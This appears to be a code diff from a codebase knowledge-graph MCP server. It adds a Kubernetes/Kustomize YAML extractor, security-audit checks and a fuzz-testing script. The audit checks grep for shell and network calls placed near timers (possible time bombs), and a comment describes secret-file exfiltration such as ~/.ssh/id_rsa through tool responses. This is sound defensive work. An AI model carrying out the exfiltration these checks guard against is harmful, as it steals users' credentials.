void cbm_extract_unified(CBMExtractCtx *ctx);
|
||||
|
||||
// K8s / Kustomize semantic extractor (called when language is CBM_LANG_K8S or CBM_LANG_KUSTOMIZE).
|
||||
void cbm_extract_k8s(CBMExtractCtx *ctx);
|
||||
|
||||
#endif // CBM_H
|
||||
|
||||
@@ -0,0 +1,290 @@
|
||||
// extract_k8s.c — K8s manifest and Kustomize file extractor.
|
||||
//
|
||||
// For CBM_LANG_KUSTOMIZE: walks top-level block_mapping_pair nodes whose key
|
||||
// matches "resources", "bases", "patches", "components", or
|
||||
// "patchesStrategicMerge", then emits one CBMImport per block_sequence item.
|
||||
//
|
||||
// For CBM_LANG_K8S: finds apiVersion, kind, and metadata.name scalars in the
|
||||
// first document's block_mapping and emits one CBMDefinition with label
|
||||
// "Resource" and name "Kind/metadata-name".
|
||||
|
||||
#include "cbm.h"
|
||||
#include "arena.h"
|
||||
#include "helpers.h"
|
||||
#include "tree_sitter/api.h"
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Internal helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// Return the raw source text for a scalar node (plain, single-quoted, or
|
||||
// double-quoted). Surrounding quote characters are stripped for quoted forms.
|
||||
// Handles flow_node wrappers transparently by descending into the first named
|
||||
// child (the tree-sitter YAML grammar often wraps scalars in flow_node).
|
||||
// Returns NULL for non-scalar node types.
|
||||
static const char *get_scalar_text(CBMArena *a, TSNode node, const char *source) {
|
||||
const char *type = ts_node_type(node);
|
||||
// Unwrap flow_node: the actual scalar is the first named child
|
||||
if (strcmp(type, "flow_node") == 0) {
|
||||
TSNode inner = ts_node_named_child(node, 0);
|
||||
if (ts_node_is_null(inner)) {
|
||||
return NULL;
|
||||
}
|
||||
return get_scalar_text(a, inner, source);
|
||||
}
|
||||
if (strcmp(type, "plain_scalar") == 0) {
|
||||
return cbm_node_text(a, node, source);
|
||||
}
|
||||
if (strcmp(type, "double_quote_scalar") == 0 || strcmp(type, "single_quote_scalar") == 0) {
|
||||
const char *raw = cbm_node_text(a, node, source);
|
||||
if (!raw) {
|
||||
return NULL;
|
||||
}
|
||||
size_t len = strlen(raw);
|
||||
if (len >= 2) {
|
||||
return cbm_arena_strndup(a, raw + 1, len - 2);
|
||||
}
|
||||
return raw;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Return true if the key text of a block_mapping_pair matches one of the
|
||||
// Kustomize resource-list field names.
|
||||
static int is_kustomize_list_key(const char *key) {
|
||||
return (strcmp(key, "resources") == 0 || strcmp(key, "bases") == 0 ||
|
||||
strcmp(key, "patches") == 0 || strcmp(key, "components") == 0 ||
|
||||
strcmp(key, "patchesStrategicMerge") == 0 || strcmp(key, "crds") == 0);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Kustomize extraction
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// Walk a block_sequence node and emit one CBMImport per block_sequence_item
|
||||
// scalar child, using key_name as the local_name.
|
||||
static void emit_kustomize_sequence(CBMExtractCtx *ctx, TSNode seq_node, const char *key_name) {
|
||||
CBMArena *a = ctx->arena;
|
||||
uint32_t n = ts_node_child_count(seq_node);
|
||||
for (uint32_t i = 0; i < n; i++) {
|
||||
TSNode item = ts_node_child(seq_node, i);
|
||||
if (strcmp(ts_node_type(item), "block_sequence_item") != 0) {
|
||||
continue;
|
||||
}
|
||||
// block_sequence_item has one named child: the value
|
||||
uint32_t ic = ts_node_child_count(item);
|
||||
for (uint32_t j = 0; j < ic; j++) {
|
||||
TSNode val = ts_node_child(item, j);
|
||||
const char *scalar = get_scalar_text(a, val, ctx->source);
|
||||
if (!scalar) {
|
||||
continue;
|
||||
}
|
||||
CBMImport imp = {
|
||||
.local_name = cbm_arena_strdup(a, key_name),
|
||||
.module_path = cbm_arena_strdup(a, scalar),
|
||||
};
|
||||
cbm_imports_push(&ctx->result->imports, a, imp);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void extract_kustomize(CBMExtractCtx *ctx) {
|
||||
CBMArena *a = ctx->arena;
|
||||
|
||||
// Traverse: stream -> document -> block_node -> block_mapping -> block_mapping_pair
|
||||
TSNode root = ctx->root;
|
||||
uint32_t root_n = ts_node_child_count(root);
|
||||
for (uint32_t si = 0; si < root_n; si++) {
|
||||
TSNode stream_child = ts_node_child(root, si);
|
||||
if (strcmp(ts_node_type(stream_child), "document") != 0) {
|
||||
continue;
|
||||
}
|
||||
// Find block_mapping inside the document (may be wrapped in block_node)
|
||||
TSNode mapping = ts_node_named_child(stream_child, 0);
|
||||
if (ts_node_is_null(mapping)) {
|
||||
continue;
|
||||
}
|
||||
// Some grammars wrap in block_node
|
||||
if (strcmp(ts_node_type(mapping), "block_node") == 0) {
|
||||
mapping = ts_node_named_child(mapping, 0);
|
||||
}
|
||||
if (ts_node_is_null(mapping) || strcmp(ts_node_type(mapping), "block_mapping") != 0) {
|
||||
continue;
|
||||
}
|
||||
|
||||
uint32_t pair_n = ts_node_child_count(mapping);
|
||||
for (uint32_t pi = 0; pi < pair_n; pi++) {
|
||||
TSNode pair = ts_node_child(mapping, pi);
|
||||
if (strcmp(ts_node_type(pair), "block_mapping_pair") != 0) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// First named child = key
|
||||
TSNode key_node = ts_node_named_child(pair, 0);
|
||||
if (ts_node_is_null(key_node)) {
|
||||
continue;
|
||||
}
|
||||
const char *key_text = get_scalar_text(a, key_node, ctx->source);
|
||||
if (!key_text || !is_kustomize_list_key(key_text)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Second named child = value (should be a block_sequence or block_node wrapping one)
|
||||
TSNode val_node = ts_node_named_child(pair, 1);
|
||||
if (ts_node_is_null(val_node)) {
|
||||
continue;
|
||||
}
|
||||
if (strcmp(ts_node_type(val_node), "block_node") == 0) {
|
||||
val_node = ts_node_named_child(val_node, 0);
|
||||
}
|
||||
if (ts_node_is_null(val_node) ||
|
||||
strcmp(ts_node_type(val_node), "block_sequence") != 0) {
|
||||
continue;
|
||||
}
|
||||
|
||||
emit_kustomize_sequence(ctx, val_node, key_text);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// K8s manifest extraction
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// Descend into the first block_mapping of a document and extract apiVersion,
|
||||
// kind, and metadata.name. Returns void; fills kind_buf and meta_name_buf.
|
||||
static void extract_k8s_scalars(CBMExtractCtx *ctx, TSNode mapping, char *kind_buf, size_t kind_sz,
|
||||
char *meta_name_buf, size_t meta_sz) {
|
||||
CBMArena *a = ctx->arena;
|
||||
kind_buf[0] = '\0';
|
||||
meta_name_buf[0] = '\0';
|
||||
|
||||
uint32_t n = ts_node_child_count(mapping);
|
||||
for (uint32_t i = 0; i < n; i++) {
|
||||
TSNode pair = ts_node_child(mapping, i);
|
||||
if (strcmp(ts_node_type(pair), "block_mapping_pair") != 0) {
|
||||
continue;
|
||||
}
|
||||
TSNode key_node = ts_node_named_child(pair, 0);
|
||||
if (ts_node_is_null(key_node)) {
|
||||
continue;
|
||||
}
|
||||
const char *key = get_scalar_text(a, key_node, ctx->source);
|
||||
if (!key) {
|
||||
continue;
|
||||
}
|
||||
|
||||
TSNode val_node = ts_node_named_child(pair, 1);
|
||||
if (ts_node_is_null(val_node)) {
|
||||
continue;
|
||||
}
|
||||
// Unwrap block_node if present
|
||||
if (strcmp(ts_node_type(val_node), "block_node") == 0) {
|
||||
val_node = ts_node_named_child(val_node, 0);
|
||||
}
|
||||
if (ts_node_is_null(val_node)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (strcmp(key, "kind") == 0) {
|
||||
const char *v = get_scalar_text(a, val_node, ctx->source);
|
||||
if (v) {
|
||||
snprintf(kind_buf, kind_sz, "%s", v);
|
||||
}
|
||||
} else if (strcmp(key, "metadata") == 0) {
|
||||
// Descend into metadata block_mapping to find "name"
|
||||
// val_node is already unwrapped from block_node above.
|
||||
TSNode meta_mapping = val_node;
|
||||
if (ts_node_is_null(meta_mapping) ||
|
||||
strcmp(ts_node_type(meta_mapping), "block_mapping") != 0) {
|
||||
continue;
|
||||
}
|
||||
uint32_t mn = ts_node_child_count(meta_mapping);
|
||||
for (uint32_t mi = 0; mi < mn; mi++) {
|
||||
TSNode mpair = ts_node_child(meta_mapping, mi);
|
||||
if (strcmp(ts_node_type(mpair), "block_mapping_pair") != 0) {
|
||||
continue;
|
||||
}
|
||||
TSNode mkey = ts_node_named_child(mpair, 0);
|
||||
if (ts_node_is_null(mkey)) {
|
||||
continue;
|
||||
}
|
||||
const char *mkey_text = get_scalar_text(a, mkey, ctx->source);
|
||||
if (!mkey_text || strcmp(mkey_text, "name") != 0) {
|
||||
continue;
|
||||
}
|
||||
TSNode mval = ts_node_named_child(mpair, 1);
|
||||
if (ts_node_is_null(mval)) {
|
||||
continue;
|
||||
}
|
||||
const char *meta_name = get_scalar_text(a, mval, ctx->source);
|
||||
if (meta_name) {
|
||||
snprintf(meta_name_buf, meta_sz, "%s", meta_name);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void extract_k8s_manifest(CBMExtractCtx *ctx) {
|
||||
CBMArena *a = ctx->arena;
|
||||
|
||||
TSNode root = ctx->root;
|
||||
uint32_t root_n = ts_node_child_count(root);
|
||||
for (uint32_t si = 0; si < root_n; si++) {
|
||||
TSNode stream_child = ts_node_child(root, si);
|
||||
if (strcmp(ts_node_type(stream_child), "document") != 0) {
|
||||
continue;
|
||||
}
|
||||
|
||||
TSNode mapping = ts_node_named_child(stream_child, 0);
|
||||
if (ts_node_is_null(mapping)) {
|
||||
continue;
|
||||
}
|
||||
if (strcmp(ts_node_type(mapping), "block_node") == 0) {
|
||||
mapping = ts_node_named_child(mapping, 0);
|
||||
}
|
||||
if (ts_node_is_null(mapping) || strcmp(ts_node_type(mapping), "block_mapping") != 0) {
|
||||
continue;
|
||||
}
|
||||
|
||||
char kind_buf[256] = {0};
|
||||
char meta_name_buf[256] = {0};
|
||||
extract_k8s_scalars(ctx, mapping, kind_buf, sizeof(kind_buf), meta_name_buf,
|
||||
sizeof(meta_name_buf));
|
||||
|
||||
// Skip malformed manifests (no kind or no metadata.name)
|
||||
if (kind_buf[0] == '\0' || meta_name_buf[0] == '\0') {
|
||||
continue;
|
||||
}
|
||||
|
||||
char def_name[512];
|
||||
snprintf(def_name, sizeof(def_name), "%s/%s", kind_buf, meta_name_buf);
|
||||
|
||||
CBMDefinition def = {0};
|
||||
def.name = cbm_arena_strdup(a, def_name);
|
||||
def.qualified_name = cbm_arena_sprintf(a, "%s.%s", ctx->module_qn, def_name);
|
||||
def.label = cbm_arena_strdup(a, "Resource");
|
||||
def.file_path = ctx->rel_path;
|
||||
def.start_line = ts_node_start_point(mapping).row + 1;
|
||||
def.end_line = ts_node_end_point(mapping).row + 1;
|
||||
cbm_defs_push(&ctx->result->defs, a, def);
|
||||
|
||||
break; // Only the first document per file
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Public entry point
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
void cbm_extract_k8s(CBMExtractCtx *ctx) {
|
||||
if (ctx->language == CBM_LANG_KUSTOMIZE) {
|
||||
extract_kustomize(ctx);
|
||||
} else if (ctx->language == CBM_LANG_K8S) {
|
||||
extract_k8s_manifest(ctx);
|
||||
}
|
||||
}
|
||||
@@ -1041,6 +1041,16 @@ static const CBMLangSpec lang_specs[CBM_LANG_COUNT] = {
|
||||
{CBM_LANG_WOLFRAM, wolfram_func_types, empty_types, empty_types, wolfram_module_types,
|
||||
wolfram_call_types, wolfram_import_types, empty_types, empty_types, empty_types, empty_types,
|
||||
empty_types, NULL, empty_types, NULL, NULL},
|
||||
|
||||
// CBM_LANG_KUSTOMIZE — reuses YAML grammar; semantic extraction via cbm_extract_k8s()
|
||||
{CBM_LANG_KUSTOMIZE, empty_types, empty_types, empty_types, yaml_module_types, empty_types,
|
||||
empty_types, empty_types, empty_types, empty_types, empty_types, empty_types, NULL,
|
||||
empty_types, NULL, NULL},
|
||||
|
||||
// CBM_LANG_K8S — reuses YAML grammar; semantic extraction via cbm_extract_k8s()
|
||||
{CBM_LANG_K8S, empty_types, empty_types, empty_types, yaml_module_types, empty_types,
|
||||
empty_types, empty_types, empty_types, empty_types, empty_types, empty_types, NULL,
|
||||
empty_types, NULL, NULL},
|
||||
};
|
||||
|
||||
const CBMLangSpec *cbm_lang_spec(CBMLanguage lang) {
|
||||
@@ -1180,6 +1190,9 @@ const TSLanguage *cbm_ts_language(CBMLanguage lang) {
|
||||
return tree_sitter_magma();
|
||||
case CBM_LANG_WOLFRAM:
|
||||
return tree_sitter_wolfram();
|
||||
case CBM_LANG_KUSTOMIZE:
|
||||
case CBM_LANG_K8S:
|
||||
return tree_sitter_yaml();
|
||||
default:
|
||||
return NULL;
|
||||
}
|
||||
|
||||
@@ -1,42 +1,16 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Pre-commit hook: C linting + tests.
|
||||
# Mirrors the lint targets in Makefile.cbm.
|
||||
# Pre-commit hook: linters + security audit + build + tests.
|
||||
#
|
||||
# Setup (once after clone):
|
||||
# Activated automatically via scripts/setup.sh or manually:
|
||||
# git config core.hooksPath scripts/hooks
|
||||
|
||||
LLVM_BIN="$(brew --prefix llvm 2>/dev/null)/bin"
|
||||
echo "pre-commit: running all linters in parallel..."
|
||||
make -j3 -f Makefile.cbm lint
|
||||
|
||||
# Resolve tool paths (Homebrew LLVM is keg-only on macOS)
|
||||
CLANG_TIDY="${LLVM_BIN}/clang-tidy"
|
||||
CLANG_FORMAT="${LLVM_BIN}/clang-format"
|
||||
[ -x "$CLANG_TIDY" ] || CLANG_TIDY="clang-tidy"
|
||||
[ -x "$CLANG_FORMAT" ] || CLANG_FORMAT="clang-format"
|
||||
echo "pre-commit: security audit (source-level)..."
|
||||
scripts/security-audit.sh
|
||||
|
||||
# --- clang-format (blocking — fastest, check first) ---
|
||||
echo "pre-commit: checking formatting..."
|
||||
make -f Makefile.cbm lint-format CLANG_FORMAT="$CLANG_FORMAT"
|
||||
|
||||
# --- cppcheck (blocking) ---
|
||||
if command -v cppcheck &>/dev/null; then
|
||||
echo "pre-commit: running cppcheck..."
|
||||
make -f Makefile.cbm lint-cppcheck
|
||||
else
|
||||
echo "pre-commit: cppcheck not found, skipping"
|
||||
echo " install: brew install cppcheck"
|
||||
fi
|
||||
|
||||
# --- clang-tidy (blocking) ---
|
||||
if command -v "$CLANG_TIDY" &>/dev/null; then
|
||||
echo "pre-commit: running clang-tidy..."
|
||||
make -f Makefile.cbm lint-tidy CLANG_TIDY="$CLANG_TIDY"
|
||||
else
|
||||
echo "pre-commit: clang-tidy not found, skipping"
|
||||
echo " install: brew install llvm"
|
||||
fi
|
||||
|
||||
# --- Build + Tests (blocking) ---
|
||||
echo "pre-commit: building and running tests..."
|
||||
make -f Makefile.cbm test
|
||||
make -j$(sysctl -n hw.ncpu 2>/dev/null || nproc) -f Makefile.cbm test
|
||||
|
||||
@@ -4,14 +4,14 @@
|
||||
# Any call to a listed function in a .c file under src/ that is NOT on this
|
||||
# list causes the security audit (scripts/security-audit.sh) to fail.
|
||||
|
||||
# ── Foundation: platform abstraction (defines cbm_popen wrapper) ───────────
|
||||
# ── Foundation: platform abstraction (defines cbm_popen wrapper + shell-free exec) ──
|
||||
src/foundation/compat_fs.c:popen:cbm_popen wrapper definition (POSIX)
|
||||
src/foundation/compat_fs.c:cbm_popen:cbm_popen function definition
|
||||
src/foundation/compat_fs.c:fork:cbm_exec_no_shell — fork+execvp for shell-free subprocess execution
|
||||
src/foundation/compat_fs.c:execvp:cbm_exec_no_shell — direct exec without shell interpretation
|
||||
|
||||
# ── CLI: update command (user-initiated, interactive) ──────────────────────
|
||||
src/cli/cli.c:system:curl download of release binary (update cmd)
|
||||
src/cli/cli.c:system:unzip extraction on Windows (update cmd)
|
||||
src/cli/cli.c:system:version verification after update (update cmd)
|
||||
src/cli/cli.c:cbm_popen:sha256 checksum verification (update cmd)
|
||||
src/cli/cli.c:popen:sha256 checksum computation via shasum
|
||||
|
||||
|
||||
@@ -184,6 +184,102 @@ if ! $FOPEN_FOUND; then
|
||||
echo "OK: All file writes are in expected locations."
|
||||
fi
|
||||
|
||||
# ── 4. Time-bomb pattern detection ────────────────────────────────
|
||||
# Scan for time/clock/sleep near dangerous calls — could indicate
|
||||
# code that activates malicious behavior after a delay or date.
|
||||
|
||||
echo ""
|
||||
echo "--- Scanning for time-bomb patterns ---"
|
||||
|
||||
TIMEBOMB_FOUND=false
|
||||
while IFS= read -r file; do
|
||||
relfile="${file#"$ROOT/"}"
|
||||
|
||||
# Extract line numbers of dangerous calls
|
||||
DANGER_LINES=$(grep -n 'system(\|popen(\|cbm_popen(\|connect(\|execl(' "$file" 2>/dev/null \
|
||||
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' \
|
||||
| cut -d: -f1 || true)
|
||||
|
||||
[ -z "$DANGER_LINES" ] && continue
|
||||
|
||||
# For each dangerous call, check if time/clock/sleep appears within 10 lines
|
||||
for dline in $DANGER_LINES; do
|
||||
start=$((dline > 10 ? dline - 10 : 1))
|
||||
end=$((dline + 10))
|
||||
NEARBY=$(sed -n "${start},${end}p" "$file" 2>/dev/null \
|
||||
| grep -E 'time\(|clock\(|sleep\(|nanosleep\(|usleep\(' \
|
||||
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v 'timeout' | grep -v 'elapsed' || true)
|
||||
if [ -n "$NEARBY" ]; then
|
||||
echo "REVIEW: ${relfile}:${dline}: time-related call near dangerous function"
|
||||
echo " $NEARBY"
|
||||
TIMEBOMB_FOUND=true
|
||||
fi
|
||||
done
|
||||
done < <(find "$ROOT/src" -name '*.c' -type f | sort)
|
||||
|
||||
if ! $TIMEBOMB_FOUND; then
|
||||
echo "OK: No suspicious time-bomb patterns found."
|
||||
fi
|
||||
|
||||
# ── 5. MCP tool handler file read audit ──────────────────────────
|
||||
# The MCP server (mcp.c) handles tool calls that return data to the
|
||||
# client. A malicious PR could add file reads that exfiltrate sensitive
|
||||
# data (e.g., ~/.ssh/id_rsa) through the normal tool response channel.
|
||||
# Track all file-reading functions in mcp.c against an allow-list.
|
||||
|
||||
echo ""
|
||||
echo "--- Scanning MCP tool handlers for file reads ---"
|
||||
|
||||
MCP_FILE="$ROOT/src/mcp/mcp.c"
|
||||
MCP_READS_OK=true
|
||||
if [ -f "$MCP_FILE" ]; then
|
||||
# Known safe file reads in mcp.c (with line-range context)
|
||||
# - search_code: writes pattern to tmpfile, reads grep output
|
||||
# - get_code_snippet: reads source via read_file_lines (path-contained)
|
||||
# - manage_adr: reads/writes ADR files
|
||||
# - detect_changes: reads git diff output
|
||||
# Count fopen/fread calls and compare against expected
|
||||
FOPEN_COUNT=$(grep -c 'fopen\|fread\|read_file' "$MCP_FILE" 2>/dev/null || echo "0")
|
||||
# Known count as of v0.5.5: update this when legitimate reads are added
|
||||
EXPECTED_MAX=12
|
||||
if [ "$FOPEN_COUNT" -gt "$EXPECTED_MAX" ]; then
|
||||
echo "REVIEW: src/mcp/mcp.c has $FOPEN_COUNT file read operations (expected max $EXPECTED_MAX)"
|
||||
echo " New file reads in MCP tool handlers must be reviewed for data exfiltration risk."
|
||||
MCP_READS_OK=false
|
||||
fi
|
||||
fi
|
||||
|
||||
if $MCP_READS_OK; then
|
||||
echo "OK: MCP tool handler file reads within expected count."
|
||||
fi
|
||||
|
||||
# ── 6. GitHub Actions pinned to SHA ───────────────────────────────
|
||||
# Mutable tags (@v4) can be moved by compromised maintainers.
|
||||
# All Actions must be pinned to full commit SHAs.
|
||||
|
||||
echo ""
|
||||
echo "--- Scanning for unpinned GitHub Actions ---"
|
||||
|
||||
UNPINNED_FOUND=false
|
||||
if [ -d "$ROOT/.github/workflows" ]; then
|
||||
while IFS= read -r file; do
|
||||
relfile="${file#"$ROOT/"}"
|
||||
# Only check files tracked by git (skip stale untracked files)
|
||||
git ls-files --error-unmatch "$file" > /dev/null 2>&1 || continue
|
||||
while IFS= read -r match; do
|
||||
[[ -z "$match" ]] && continue
|
||||
echo "BLOCKED: ${relfile}: ${match}"
|
||||
echo " -> Pin to SHA: uses: owner/action@<commit-sha> # version"
|
||||
fail
|
||||
UNPINNED_FOUND=true
|
||||
done < <(grep -nE 'uses:.*@v[0-9]' "$file" 2>/dev/null || true)
|
||||
done < <(find "$ROOT/.github/workflows" -name '*.yml' -type f | sort)
|
||||
fi
|
||||
|
||||
if ! $UNPINNED_FOUND; then
|
||||
echo "OK: All GitHub Actions pinned to commit SHAs."
|
||||
fi
|
||||
|
||||
# ── Summary ──────────────────────────────────────────────────────
|
||||
|
||||
echo ""
|
||||
|
||||
Executable
+168
@@ -0,0 +1,168 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Fuzz testing: feeds random/mutated inputs to the MCP server and CLI
|
||||
# to find crashes, hangs, and memory errors. Runs for a limited time.
|
||||
#
|
||||
# Usage: scripts/security-fuzz-random.sh <binary-path> [duration_seconds]
|
||||
|
||||
BINARY="${1:?usage: security-fuzz-random.sh <binary-path> [duration_seconds]}"
|
||||
DURATION="${2:-60}"
|
||||
|
||||
if [[ ! -f "$BINARY" ]]; then
|
||||
echo "FAIL: binary not found: $BINARY"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== Fuzz Testing ($DURATION seconds) ==="
|
||||
|
||||
FUZZ_TMPDIR=$(mktemp -d)
|
||||
trap 'rm -rf "$FUZZ_TMPDIR"' EXIT
|
||||
|
||||
CRASHES=0
|
||||
ITERATIONS=0
|
||||
END_TIME=$((SECONDS + DURATION))
|
||||
|
||||
# Portable timeout
|
||||
run_with_timeout() {
|
||||
local secs="$1"; shift
|
||||
if command -v timeout &>/dev/null; then
|
||||
timeout "$secs" "$@" || true
|
||||
else
|
||||
perl -e "alarm($secs); exec @ARGV" -- "$@" || true
|
||||
fi
|
||||
}
|
||||
|
||||
# ── Phase 1: Random JSON-RPC mutations ───────────────────────
|
||||
echo ""
|
||||
echo "--- Phase 1: Random JSON-RPC mutations ---"
|
||||
|
||||
while [ $SECONDS -lt $END_TIME ]; do
|
||||
ITERATIONS=$((ITERATIONS + 1))
|
||||
|
||||
# Generate a random mutated JSON-RPC payload
|
||||
PAYLOAD=$(python3 -c "
|
||||
import random, string, json
|
||||
|
||||
# Base valid request
|
||||
base = {
|
||||
'jsonrpc': '2.0',
|
||||
'id': random.randint(-999999, 999999),
|
||||
'method': random.choice([
|
||||
'initialize', 'tools/call', 'tools/list',
|
||||
random.choice(string.ascii_letters) * random.randint(1, 100),
|
||||
'',
|
||||
]),
|
||||
}
|
||||
|
||||
# Random mutations
|
||||
mutation = random.randint(0, 10)
|
||||
if mutation == 0:
|
||||
# Valid tool call with random args
|
||||
base['params'] = {'name': 'search_graph', 'arguments': {
|
||||
'name_pattern': ''.join(random.choices(string.printable, k=random.randint(0, 500)))
|
||||
}}
|
||||
elif mutation == 1:
|
||||
# Huge nested object
|
||||
base['params'] = {'a': {'b': {'c': {'d': {'e': 'deep'}}}}}
|
||||
elif mutation == 2:
|
||||
# Random bytes as method
|
||||
base['method'] = ''.join(random.choices(string.printable, k=random.randint(1, 1000)))
|
||||
elif mutation == 3:
|
||||
# Null fields
|
||||
base['method'] = None
|
||||
base['id'] = None
|
||||
elif mutation == 4:
|
||||
# Array instead of object
|
||||
base = [1, 2, 3]
|
||||
elif mutation == 5:
|
||||
# Empty
|
||||
base = {}
|
||||
elif mutation == 6:
|
||||
# Random Cypher query
|
||||
base['params'] = {'name': 'query_graph', 'arguments': {
|
||||
'query': ''.join(random.choices(string.printable, k=random.randint(1, 200)))
|
||||
}}
|
||||
elif mutation == 7:
|
||||
# Very long string values
|
||||
base['params'] = {'name': 'search_graph', 'arguments': {
|
||||
'name_pattern': 'A' * random.randint(10000, 100000)
|
||||
}}
|
||||
elif mutation == 8:
|
||||
# Unicode/binary-like content
|
||||
base['params'] = {'name': 'search_code', 'arguments': {
|
||||
'pattern': ''.join(chr(random.randint(0, 0xFFFF)) for _ in range(100))
|
||||
}}
|
||||
elif mutation == 9:
|
||||
# Random tool name
|
||||
base['params'] = {'name': ''.join(random.choices(string.ascii_letters, k=50)), 'arguments': {}}
|
||||
else:
|
||||
# Completely random JSON
|
||||
base = ''.join(random.choices(string.printable, k=random.randint(1, 500)))
|
||||
|
||||
try:
|
||||
print(json.dumps(base))
|
||||
except:
|
||||
print(json.dumps({'garbage': True}))
|
||||
" 2>/dev/null || echo '{}')
|
||||
|
||||
# Build session: init + mutated payload
|
||||
INIT='{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"fuzz","version":"1.0"}}}'
|
||||
printf '%s\n%s\n' "$INIT" "$PAYLOAD" > "$FUZZ_TMPDIR/input.jsonl"
|
||||
|
||||
# Run and check for crashes (not exit code — we expect errors, just not crashes)
|
||||
run_with_timeout 5 "$BINARY" < "$FUZZ_TMPDIR/input.jsonl" > /dev/null 2>&1
|
||||
EC=$?
|
||||
|
||||
# 139 = SIGSEGV, 134 = SIGABRT, 136 = SIGFPE — real crashes
|
||||
if [ $EC -eq 139 ] || [ $EC -eq 134 ] || [ $EC -eq 136 ]; then
|
||||
echo "CRASH: exit code $EC on iteration $ITERATIONS"
|
||||
echo "Payload: $PAYLOAD"
|
||||
CRASHES=$((CRASHES + 1))
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Phase 1: $ITERATIONS iterations, $CRASHES crashes"
|
||||
|
||||
# ── Phase 2: Random Cypher queries via CLI ───────────────────
|
||||
echo ""
|
||||
echo "--- Phase 2: Random Cypher queries via CLI ---"
|
||||
|
||||
CLI_ITERATIONS=0
|
||||
CLI_END=$((SECONDS + 10))
|
||||
|
||||
while [ $SECONDS -lt $CLI_END ]; do
|
||||
CLI_ITERATIONS=$((CLI_ITERATIONS + 1))
|
||||
|
||||
QUERY=$(python3 -c "
|
||||
import random, string
|
||||
parts = ['MATCH', 'WHERE', 'RETURN', '(', ')', '-[', ']->', '<-[', ']-',
|
||||
'n', 'r', '.name', '.label', '=', '\"', \"'\", ';', '--', 'DROP',
|
||||
'DELETE', 'ATTACH', 'DETACH', '*', 'COUNT', 'LIMIT', 'ORDER BY']
|
||||
q = ' '.join(random.choices(parts, k=random.randint(1, 20)))
|
||||
# Sometimes add random garbage
|
||||
if random.random() > 0.5:
|
||||
q += ''.join(random.choices(string.printable, k=random.randint(1, 100)))
|
||||
print(q)
|
||||
" 2>/dev/null || echo "MATCH (n) RETURN n")
|
||||
|
||||
run_with_timeout 3 "$BINARY" cli query_graph "{\"query\":\"$QUERY\"}" > /dev/null 2>&1
|
||||
EC=$?
|
||||
|
||||
if [ $EC -eq 139 ] || [ $EC -eq 134 ] || [ $EC -eq 136 ]; then
|
||||
echo "CRASH: exit code $EC on Cypher iteration $CLI_ITERATIONS"
|
||||
echo "Query: $QUERY"
|
||||
CRASHES=$((CRASHES + 1))
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Phase 2: $CLI_ITERATIONS iterations, $CRASHES total crashes"
|
||||
|
||||
# ── Summary ──────────────────────────────────────────────────
|
||||
echo ""
|
||||
if [ $CRASHES -gt 0 ]; then
|
||||
echo "=== FUZZ TESTING FAILED: $CRASHES crash(es) found ==="
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== Fuzz testing passed: $((ITERATIONS + CLI_ITERATIONS)) iterations, 0 crashes ==="
|
||||
@@ -213,7 +213,7 @@ if ($FromSource) {
|
||||
Write-Host ""
|
||||
Write-Host "Building binary (this may take a minute)..." -ForegroundColor White
|
||||
$wslBinaryPath = "/home/$wslUser/.local/bin/$BinaryName"
|
||||
Invoke-WSL "mkdir -p /home/$wslUser/.local/bin && cd $sourceDir && CGO_ENABLED=1 go build -buildvcs=false -o $wslBinaryPath ./cmd/codebase-memory-mcp/"
|
||||
Invoke-WSL "mkdir -p /home/$wslUser/.local/bin && cd $sourceDir && scripts/build.sh && cp build/c/codebase-memory-mcp $wslBinaryPath"
|
||||
Write-Ok "Built to $wslBinaryPath (inside WSL)"
|
||||
|
||||
# Verify
|
||||
|
||||
+1
-7
@@ -199,13 +199,7 @@ build_from_source() {
|
||||
echo "${BOLD}Building binary (this may take a minute)...${RESET}"
|
||||
mkdir -p "$INSTALL_DIR"
|
||||
|
||||
local build_flags=""
|
||||
# Use -buildvcs=false in WSL (git metadata fails across filesystem boundaries)
|
||||
if grep -qi microsoft /proc/version 2>/dev/null; then
|
||||
build_flags="-buildvcs=false"
|
||||
fi
|
||||
|
||||
(cd "$SOURCE_DIR" && CGO_ENABLED=1 go build $build_flags -o "${INSTALL_DIR}/${BINARY_NAME}" ./cmd/codebase-memory-mcp/)
|
||||
(cd "$SOURCE_DIR" && scripts/build.sh && cp build/c/codebase-memory-mcp "${INSTALL_DIR}/${BINARY_NAME}")
|
||||
|
||||
ok "Built and installed to ${INSTALL_DIR}/${BINARY_NAME}"
|
||||
}
|
||||
|
||||
+12
-12
@@ -2,49 +2,49 @@
|
||||
"$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",
|
||||
"name": "io.github.DeusData/codebase-memory-mcp",
|
||||
"title": "Codebase Memory",
|
||||
"description": "Persistent codebase knowledge graph — 35 languages, sub-ms queries, 99% fewer tokens than grep. Survives session restarts and context compaction.",
|
||||
